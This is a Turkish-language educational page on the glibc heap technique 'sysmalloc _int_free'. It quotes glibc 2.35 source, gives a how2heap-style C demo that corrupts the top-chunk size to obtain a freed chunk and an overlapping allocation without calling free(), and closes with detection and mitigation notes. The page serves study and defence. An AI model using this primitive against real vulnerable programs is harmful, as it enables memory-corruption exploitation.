Skip to content

sysmalloc int_free

top chunk'ın size'ını corrupt ederek, heap'i büyütmenin sysmalloc'a eski wilderness'ı _int_free() ettirmesini sağlamak ve hiç free() çağırmadan neredeyse keyfi bir bin yerleştirmek.

Mechanism

Note

malloc bir isteği top chunk'tan karşılayamadığında, heap'i genişletmek için (sbrk/mmap üzerinden) sysmalloc'u çağırır. Yeni bellek eski top ile bitişik değilse — ya da eski top basitçe büyütülemiyorsa — sysmalloc eski wilderness'ı yerinde yeniden kullanamaz. Bunun yerine onu bir double fencepost ile mühürler ve kalanı _int_free (av, old_top, 1) ile allocator'a geri bırakır.

glibc 2.35 sysmalloc'ta (malloc/malloc.c) ilgili kuyruk şöyledir:

if (old_size != 0)
  {
    old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
    set_head (old_top, old_size | PREV_INUSE);
    set_head (chunk_at_offset (old_top, old_size),
              CHUNK_HDR_SZ | PREV_INUSE);
    set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ),
              CHUNK_HDR_SZ | PREV_INUSE);
    /* If possible, release the rest. */
    if (old_size >= MINSIZE)
      _int_free (av, old_top, 1);
  }

Attacker'ın altüst ettiği anahtar invariant: top chunk'ın size'ı, bir overflow'un ulaşabileceği inline heap metadata'sından okunur. sysmalloc yalnızca corrupt edilmiş size'ın page-aligned kalmasını ister (yeni brk'i türetmek için kullanılır) ve eski top'un _int_free'si have_lock/is_top flag'i set edilmiş halde çalışır, dolayısıyla normal bir free()'nin uygulayacağı size-sanity'yi atlar. Free edilen "old top", senin seçtiğin bir size'a sahip bir unsorted/large bin'e düşer.

Bu, House of Orange ve House of Tangerine'in ardındaki motordur: top-chunk size alanının tek bir lineer overflow'unu, sonradan reclaim edilebilen (overlapping allocation'lar veren) ya da unsorted-bin attack üzerinden pompalanan bir free edilmiş chunk'a dönüştürür — hepsi açık bir free() çağrısı olmadan.

Walkthrough

shellphish how2heap sysmalloc_int_free.c'den (glibc 2.27–2.39'da test edildi). Plan: top-chunk size'ını küçült ki kalan wilderness bir sonraki istekten daha küçük olsun, heap büyümesini zorla ve eski top'u free et.

#define CHUNK_HDR_SZ   (sizeof(size_t)*2)
#define MALLOC_ALIGN   0x10
#define FENCEPOST      (2*CHUNK_HDR_SZ)
#define CHUNK_FREED_SIZE 0x150            // size we want the freed bin to be

// 1. allocate a chunk that sits just below the top chunk
new = malloc(allocated_size);
size_t *top_size_ptr = &new[(allocated_size/sizeof(size_t)) - 1
                            + (MALLOC_ALIGN/sizeof(size_t))];

// 2. linear overflow corrupts the top-chunk size: keep it PAGE-aligned
size_t top_size     = *top_size_ptr;
size_t new_top_size = top_size & PAGE_MASK;   // e.g. round down to 0x...000
*top_size_ptr = new_top_size;

// 3. request more than the (now smaller) top can give -> heap growth
old = new;
new = malloc(CHUNK_FREED_SIZE + 0x10);        // triggers sysmalloc -> _int_free(old_top)

// the old top (minus fenceposts) is now a freed 0x150 chunk:
//   freed_top_size == (new_top_size - FENCEPOST) & ~0xf == 0x150

Free edilmiş wilderness'ı reclaim etmek onu new ile overlap eder:

old = new;
new = malloc(CHUNK_FREED_SIZE - CHUNK_HDR_SZ);   // FREED_SIZE
assert((size_t)old > (size_t)new);               // allocated *below* old: into freed top

Beklenen çıktı: demo, sondalanmış top size'ını, corrupt edilmiş page-aligned size'ı yazdırır, sonra realloc adresinin eskiden top chunk olan region'ın içine düştüğünü assert eder — eski top'un free edilip yeniden kullanıldığını kanıtlar.

Warning

Corrupt edilmiş top size page-aligned kalmalıdırsysmalloc onu brk aritmetiğine besler ve page-aligned olmayan bir değer heap'i desenkronize eder ve çöker. Düşük PAGE_MASK bit'lerini orijinaliyle aynı tut; yalnızca yüksek bit'ler değişir. Free edilen size ayrıca iki fencepost oyulduktan sonra old_size >= MINSIZE'ı da sağlamalıdır.

Detection

Corrupt edilmiş top-chunk size'ı tespit edilebilir: size'ı av->system_mem ile bitişik olmayan ya da istekler arasında küçülmüş bir top chunk anormaldir. glibc'nin kendi checktop/assert yolları ve malloc_check/AddressSanitizer gibi araçlar tutarsız wilderness'ı işaretler.

Mitigation

  • glibc zamanla top-chunk işlemeyi sıkılaştırdı (normal extend yolunda malloc(): corrupted top size), ama sysmalloc _int_free rotası modern glibc'de varlığını sürdürür çünkü free edilen old-top is_top olarak güvenilirdir.
  • Gerçek savunma, top size alanına ulaşan lineer overflow'u önlemektir — guard page'ler ve heap-içi canary'ler çıtayı yükseltir.

References